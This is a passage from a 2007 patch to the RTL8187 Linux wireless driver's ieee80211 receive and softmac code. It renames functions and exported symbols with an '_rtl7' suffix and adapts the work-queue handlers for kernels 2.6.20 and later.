IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +760,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +788,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +829,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -896,7 +962,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +979,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1030,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1057,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1080,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1147,7 +1213,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,7 +1221,7 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID @@ -1172,7 +1238,7 @@ (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1204,7 +1270,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1305,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1262,11 +1328,11 @@ spin_lock_irqsave(&ieee->lock, flags); - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1372,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1321,15 +1387,15 @@ * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { @@ -1339,7 +1405,7 @@ IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1347,7 +1413,7 @@ IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1421,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_txpower/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_softmac.c 2007-04-23 00:09:00.000000000 +0200 @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,7 +34,7 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; @@ -52,7 +52,7 @@ * Then it updates the pointer so that * it points after the new MFIE tag added. */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { u8 *tag = *tag_p; @@ -69,7 +69,7 @@ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { u8 *tag = *tag_p; @@ -92,7 +92,7 @@ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; @@ -110,7 +110,7 @@ //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; @@ -125,15 +125,15 @@ return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; @@ -144,13 +144,13 @@ spin_lock_irqsave(&ieee->lock, flags); /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); if(single){ if(ieee->queue_stop){ - enqueue_mgmt(ieee,skb); + enqueue_mgmt_rtl7(ieee,skb); }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -184,7 +184,7 @@ } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; @@ -219,7 +219,7 @@ } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; @@ -228,7 +228,7 @@ len = ieee->current_network.ssid_len; - rate_len = ieee80211_MFIE_rate_len(ieee); + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); @@ -251,21 +251,21 @@ memcpy(tag, ieee->current_network.ssid, len); tag += len; - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; unsigned long flags; - skb = ieee80211_get_beacon_(ieee); + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } @@ -279,37 +279,37 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - skb = ieee80211_probe_req(ieee); + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; @@ -349,7 +349,7 @@ ieee->set_chan(ieee->dev, ch); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. @@ -384,11 +384,17 @@ } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; + down(&ieee->scan_sem); do{ ieee->current_network.channel = @@ -402,7 +408,7 @@ goto out; ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); #if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,25 +459,25 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { // unsigned long flags; @@ -490,22 +496,22 @@ up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); @@ -513,18 +519,18 @@ } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { struct sk_buff *skb; @@ -557,7 +563,7 @@ } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -578,7 +584,7 @@ else atim_len = 0; - if(ieee80211_is_54g(ieee->current_network)) + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; @@ -664,7 +670,7 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; @@ -673,7 +679,7 @@ struct ieee80211_assoc_response_frame *assoc; short encrypt; - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; skb = dev_alloc_skb(len); @@ -711,13 +717,13 @@ tag = (u8*) skb_put(skb, rate_len); - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; @@ -744,7 +750,7 @@ } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; @@ -770,35 +776,35 @@ } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; @@ -807,7 +813,7 @@ unsigned int wpa_len = beacon->wpa_ie_len; - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); @@ -848,8 +854,8 @@ tag = skb_put(skb, rate_len); - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); tag = skb_put(skb,wpa_len); @@ -858,7 +864,7 @@ return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -887,13 +893,13 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; @@ -901,20 +907,20 @@ IEEE80211_DEBUG_MGMT("Stopping scan\n"); ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { u8 *c; struct sk_buff *skb; @@ -924,9 +930,9 @@ ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; @@ -935,16 +941,16 @@ IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; @@ -954,20 +960,26 @@ IEEE80211_DEBUG_MGMT("Sending association request\n"); ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; @@ -977,13 +989,13 @@ printk(KERN_INFO"Using B rates\n"); } ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); @@ -995,24 +1007,29 @@ queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) { +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - ieee80211_stop_scan(ieee); + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); + ieee80211_associate_step1_rtl7(ieee); up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; @@ -1079,7 +1096,7 @@ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1092,17 +1109,15 @@ } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct ieee80211_network *target; spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { /* if the state become different that NOLINK means @@ -1112,7 +1127,7 @@ break; //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } spin_unlock_irqrestore(&ieee->lock, flags); @@ -1120,7 +1135,7 @@ } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; @@ -1145,7 +1160,7 @@ } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; @@ -1163,7 +1178,7 @@ return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; @@ -1201,7 +1216,7 @@ } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; @@ -1219,7 +1234,7 @@ return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ @@ -1233,45 +1248,45 @@ } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; //unsigned long flags; 